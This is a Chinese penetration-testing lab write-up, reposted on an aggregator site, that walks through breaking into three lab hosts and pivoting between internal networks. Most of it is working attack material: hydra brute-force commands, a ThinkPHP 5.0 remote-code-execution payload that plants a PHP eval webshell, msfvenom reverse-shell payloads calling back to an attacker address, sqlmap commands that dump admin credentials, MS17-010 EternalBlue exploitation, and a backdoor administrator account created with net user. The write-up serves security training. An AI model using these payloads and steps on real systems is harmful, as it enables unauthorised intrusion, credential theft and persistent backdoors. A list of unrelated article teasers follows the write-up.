渗透测试实战 - 外网渗透内网穿透(超详细)

news2024/9/28 13:20:33

文章目录

  • 实验环境
    • Target1 - Centos7 (web服务)
    • Target2 - Ubuntu (内网web服务)
    • Target3 - Windows7 (客户端)
    • 实验目的
  • 实验步骤
    • 测试Target1
      • 信息收集
        • 22/21端口 弱口令爆破(MSF,hydra)
        • 3306端口
        • 8888端口
        • 80端口
      • 主机信息收集
      • 反弹shell到msf
        • msfvenom生成payload
        • 上传到 Target1 的 /tmp 目录下执行
      • 建立Socks代理
    • 测试Target2
      • 信息收集
        • 21/22端口
        • 8888端口
        • 80端口
      • 主机信息收集
  • 发现存在192.168.33.0/24的内网网段。
    • 测试Target3
      • 信息收集
      • 分析利用
        • 3389端口

实验环境

做到一半环境崩了,IP地址以下面为准

Target1 - Centos7 (web服务)

此主机的IP地址:
192.168.41.136 (模拟公网IP能与物理机通讯)
192.168.22.132

Target2 - Ubuntu (内网web服务)

此主机的IP地址:
192.168.22.133
192.168.33.130

Target3 - Windows7 (客户端)

此主机的IP地址:
192.168.33.33

实验目的

拿下三台主机权限

实验步骤

测试Target1

信息收集

使用dirsearch扫描192.168.41.136的网站目录,发现 http://192.168.41.136/index.php 是Thinkphp框架

nmap扫描端口

22/21端口 弱口令爆破(MSF,hydra)

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.41.136
set USER_FILE /root/Desktop/tools/dic_username_ssh.txt
set PASS_FILE /root/Desktop/tools/pwd100.txt
 hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ssh -f

 hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ftp -f

3306端口

不允许远程IP登录

8888端口

宝塔界面未知账号密码无法利用

80端口

Thinkphp v5.0 存在远程命令执行漏洞,通过命令执行写入一句话,可 GetShell

php一句话木马 poc

/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put
_contents&vars[1][]=admin123.php&vars[1][]=<?php @eval($_POST[123]);?>

使用蚁剑链接成功

web服务器成功拿下 (192.168.41.136)

主机信息收集

ifconfig 发现存在22网段

上传脚本到 /tmp目录 ,扫描22网段 ping.sh

#!/bin/bash
for num in {1..254};
  do
    ip=192.168.22.$num
    ping -c1 $ip >/dev/null 2>&1
    if [ $? = 0 ];
    then
      echo "$ip" ok
    else
      echo "$ip" fail
    fi
  done

赋予ping.sh 权限,并执行

chmod 777 ping.sh

./ping.sh > ping.txt

但执行不了,不知道是不是环境问题,换另一个方法上传一个fscan内网扫描工具

使用bash反弹shell的方法,反弹到攻击机

赋予fscan 权限并执行,发现存活主机 192.168.22.133/132 以及端口开放情况发现192.168.22.133是一个CMS

./fscan_amd64 -h 192.168.22.0/24

反弹shell到msf

反弹 Target1 的 Shell 到 MSF

msfvenom生成payload

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.41.130 lport=6666 -f elf -o msf.elf

上传到 Target1 的 /tmp 目录下执行

# 赋予执行权限
chmod 777 msf.elf
# 执行程序
./msf.elf

meterpreter > run get_local_subnets 获取网段信息

建立Socks代理

获得 Target1 的 meterpreter shell 后,添加到 192.168.22.0/24 网段的路由

run autoroute -s 192.168.22.0/24
run autoroute -p

使用 MSF 的 socks5 模块启动 socks 代理服务

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run

配置 proxychains 代理工具

vim /etc/proxychains4.conf
socks5 127.0.0.1 1080

也可以使用 stowaway 代理

1、攻击机启动admin监听

./admin -l 4444 -s hack

2、Target1启动agent

./agent -c 192.168.41.130:4444 -s hack

3、开启socks代理

进入Target1的node节点,使用socks命令开启socks代理

use 0
socks 1080

4、编辑 proxychains4.conf 文件

vim /etc/proxychains4.conf

5、测试socks代理,使用proxychains工具

测试Target2

信息收集

22网段进行内网扫描,

proxychains nmap -sT -Pn -p- -n -T4 192.168.22.133

21/22端口

弱口令爆破 爆破不成功

proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 ftp
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 ssh
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst 
192.168.22.22 mysql

8888端口

宝塔页面无法利用

80端口

上面信息收集发现80端口是个Bagecms的框架,寻找历史漏洞挨个测试发现存在SQL注入漏洞,使用查找到的POC ,使用sqlmap工具进行测试

通过连接代理服务器,可使本地物理机访问内网的web页面,也可以明显看出是bagecms

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword

爆数据库

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword --dbs

爆bagecms的表名

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables

爆bage_admin 的列的数据

proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump

得到后台登录账号密码为:admin/123qwe

使用Proxifier工具设置本地物理机全局代理,使得使用御剑目录扫描工具扫描内网web服务

通过御剑目录扫描在,访问 /robots.txt 目录发现了目录泄露,访问得到了管理后台的地址

登录进后台 -> 模板 -> 在 site文件夹 index.php 文件后面添加一句话马 -> 用 蚁剑 配置 socks 代理连接webshell

成功连接 上线target2目标机器

并且为root用户(拿下192.168.22.133 服务器权限)

主机信息收集

ifconfig

发现存在192.168.33.0/24的内网网段。

使用stowaway二层socks代理

1、在node中开启监听

进入node 0节点,执行listen,设置监听端口,开启监听模式

use 0
listen
1
7070

在 Target1 上可以看到 agent 监听了 7070 端口

2、Target2连接监听端口

在 Target2 中连接 Target1 监听的 7070 端口

./agent -c 192.168.22.130:7070 -s hack

3、开启Socks代理

admin 接收到新的 node 1 , 进入 node 1 节点开启 socks 代理

4、修改proxychains4.conf 文件 测试代理

vim /etc/proxychains4.conf  

创建ping.sh脚本进行内网存活探测 发现192.168.33.33主机存活

#!/bin/bash
for num in {1..254};
  do
    ip=192.168.22.$num
    ping -c1 $ip >/dev/null 2>&1
    if [ $? = 0 ];
    then
      echo "$ip" ok
    else
      echo "$ip" fail
    fi
  done

测试Target3

信息收集

proxychains3 nmap -sT -Pn -p- -n -T4 192.168.33.33

使用内网扫描工具fscan,进行三网段扫描发现 192.168.33.33为Windows 7 系统,并且存在MS17-010漏洞

分析利用

知道了存在MS17-010漏洞,而且这个漏洞永恒之蓝是通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机

打开攻击机的MSF,反弹Target1\2的shell,生成linux系统的木马payload

msfvenom -p linux/x64/meterpreter/bind_tcp lport=5554 -f elf > target1.elf
msfvenom -p linux/x64/meterpreter/bind_tcp lport=5555 -f elf > target2.elf

通过蚁剑上传到服务器目录并执行,得到target1和target2的session,并配置路由

使用MSF的针对MS17-010的扫描模块进行漏洞检测,发现确实存在MS17-010漏洞

利用MS17-010模块进行漏洞攻击

use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_psexec) > set payload 
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

拿到了target3的session,并且为system权限(192.168.33.33)

利用上面的信息收集发现此主机开放了3389远程端口,那么我们可以直接使用物理机进行远程桌面连接

3389端口

# 添加管理员用户
net user test test123 /add
net localgroup administrators test /add
# 查看管理员用户
net localgroup administrators

添加完管理用户,使用proxifier软件设置代理

使用Windows自带的远程软件进行远程连接

如果有用户正在登录则等30秒自动踢下线

拿下主机,并且只有一个网段,渗透完成!!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/353977.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在AWS Glue上使用JDBC连接Trino

呼应此前一篇文章《在Spark上使用JDBC连接Trino》&#xff0c;继续在AWS Glue上测试JDBC连接Trino&#xff0c;同样&#xff0c;这是一个非常不典型的应用用场景&#xff0c;本文仅记录测试步骤和结果&#xff0c;不做评论。本文地址&#xff1a;https://laurence.blog.csdn.ne…

还在想假期去哪玩?直接做一个旅游攻略小程序

憋了几年好不容易解封准备出去散散心,但看着大江南北这么多景点是不是有点让你选择强迫症呢?那就先制作一个旅游攻略小程序看看驴友们的分享吧。

E. Explosions?(思维+单调队列

Problem - E - Codeforces 题意&#xff1a;有 n 个怪&#xff0c;生命值为&#xff0c;你有两种操作&#xff0c;一种花费 1 MP减少一个怪的一格血量&#xff0c;可以操作任意次&#xff1b;另一次是花费 x MP&#xff0c;制造一个爆炸&#xff0c;可以不断消灭两侧连续严格递…

【C语言】 详谈指针

☃️内容专栏&#xff1a;【C语言】初阶部分 ☃️本文概括&#xff1a;继初识C语言&#xff0c;对C语言指针初阶部分进行归纳与总结。 ☃️本文作者&#xff1a;花香碟自来_ ☃️发布时间&#xff1a;2023.2.17 目录 一、指针和指针类型 1.1 指针 1.2 指针类型 其一&#x…

运动耳机选择什么模式?运动耳机的正确选择

动是生命的源泉&#xff0c;有许多朋友都会在运动的时候戴上一个运动耳机。因为运动时听音乐会给我们带来充足的动力&#xff0c;但是选择一款合适自己的运动耳机也是一门学问&#xff0c;今天我就来给大家推荐几款还不错的运动耳机。 1、NANK南卡RunnerPro4骨传导运动耳机 骨…

下载网上压缩包(包含多行json)并将其转换为字典的解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。喜欢通过博客创作的方式对所学的知识进行总结与归纳,不仅形成深入且独到的理…

分布式 CAP BASE理论

文章目录CAP简介不是所谓的“3 选 2”CAP 实际应用案例BASE简介BASE 理论的核心思想总结CAP 简介 在理论计算机科学中&#xff0c;CAP 定理&#xff08;CAP theorem&#xff09;指出对于一个分布式系统来说&#xff0c;当设计读写操作时&#xff0c;只能同时满足以下三点中的…

cesium学习记录01

1&#xff0c;将右弦GISer的cesium实战系列的大部分功能&#xff08;25-110&#xff09; 都又跟着走了一遍&#xff08;大部分是CTRL CCRTL V&#xff09; 2&#xff0c;代码SVN地址&#xff08;用户名:liu 密码&#xff1a;123&#xff09; 主要文件是test/src/views/MapFu…

Prometheus离线tar包安装

Prometheus离线tar包安装实验环境一、部署前操作二、Master2.1下载2.2解压2.3更改服务目录名称2.4创建系统服务启动文件2.5配置修改2.6启动并设置开机自启2.7访问2.8添加node节点2.8.1 添加方法2.8.2修改Prometheus配置&#xff08;Master&#xff09;————————————…

docker:实例演示妙用export让容器和数据分离

简介&#xff1a;docker-export用于将容器打包成基础镜像&#xff0c;主要作用就是制作基础镜像&#xff0c;特别是在容器非常大的情况下&#xff0c;拉取了一个空白系统镜像&#xff0c;创建容器后安装了一堆自己需要的环境&#xff0c;就可以使用 export 命令打包成自己的基础…

2005-2022中国企业对外直接投资、OFDI海外投资明细、中国全球投资追踪数据CGIT(含非建筑施工类问题投资)

中国全球投资跟踪”&#xff08;China Global Investment Tracker&#xff09;&#xff0c;数据库&#xff0c;美国企业研究所于1月28日发布。数据库显示&#xff0c;2005年以来&#xff0c;中国对外投资和建设总额已接近2万亿美元。该数据库是唯一一套涵盖中国全球投资和建设的…

概率和似然

在日常生活中&#xff0c;我们经常使用这些术语。但是在统计学和机器学习上下文中使用时&#xff0c;有一个本质的区别。本文将用理论和例子来解释概率和似然之间的关键区别。 概率与似然 假设在一场棒球比赛中&#xff0c;两队的队长都被召集到场上掷硬币。获胜的队长将根据掷…

Linux 监测服务心跳、服务重启策略

文章目录前言背景一、curl服务可用验证二、服务探测脚本三、配置系统定时任务四、Linux特殊字符转义总结前言 请各大网友尊重本人原创知识分享&#xff0c;谨记本人博客&#xff1a;南国以南i、 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 背景 当…

【飞桨AI-Python小白逆袭大神课程】作业1-python基础练习

链接&#xff1a;飞桨AI Studio - 人工智能学习与实训社区 作业一&#xff1a;输出 9*9 乘法口诀表(注意格式) 注意&#xff1a;提交作业时要有代码执行输出结果。 def table():#在这里写下您的乘法口诀表代码吧&#xff01;if __name__ __main__:table() 思路&#xff1a…

基础篇—CSS padding(填充\内边距)解析

CSS padding(填充) CSS padding(填充)是一个简写属性,定义元素边框与元素内容之间的空间,即上下左右的内边距。 属性说明padding使用简写属性设置在一个声明中的所有填充属性padding-bottom设置元素的底部填充padding-left设置元素的左部填充padding-right设置元素的右部…

win11下WSL环境安装

微软官方wsl手册 微软官方wsl手册pdf 一、wsl中镜像安装 在启用或关闭Windows功能勾选一下两个选项 打开powershell&#xff0c;输入wsl, 可以根据wsl的命令来安装镜像。也可以在软件商店中进行安装ubuntu 安装完成后&#xff0c;打开ubuntu,会自动完成初始化。提示安装成功…

【RabbitMQ六】——RabbitMQ主题模式(Topic)

RabbitMQ主题模式&#xff08;通配符模式&#xff09;前言什么是Topic模式使用Topic模式的要点通配符规则示例代码示例Pom文件引入RabbtiMQ依赖RabbitMQ工具类生产者消费者1消费者2效果总结前言 通过本篇博客能够简单使用RabbitMQ的主题模式。 本篇博客主要是博主通过官网总结…

K8s集群部署(kubeadm安装部署详细手册)

1、简介 K8s部署主要有两种方式&#xff1a;1、Kubeadm Kubeadm是一个K8s部署工具&#xff0c;提供kubeadm init和kubeadm join&#xff0c;用于快速部署Kubernetes集群。 2、二进制 从github下载发行版的二进制包&#xff0c;手动部署每个组件&#xff0c;组成Kubernetes集群。…

【C++进阶】二、多态详解(总)

目录 一、多态的概念 二、多态的定义及实现 2.1 多态的构成条件 2.2 虚函数 2.3 虚函数的重写 2.4 虚函数重写的两个例外 2.4.1 协变 2.4.2 析构函数的重写 2.5 C11 override 和 final 2.5.1 final 2.5.2 override 2.6 重载、覆盖(重写)、隐藏(重定义)的对比 三、…

【C++】类与对象 (四)初始化列表 static成员 友元 内部类 匿名对象 拷贝对象时的一些编译器优化

前言 本章就是我们C中类与对象的终章了&#xff0c;不过本章的难度不大&#xff0c;都是类中一些边边角角的知识&#xff0c;记忆理解就行了&#xff0c;相信经过这么长时间的学习类与对象&#xff0c;你对面向对象也有了更加深的理解&#xff0c;最后我们学习完边边角角的一些…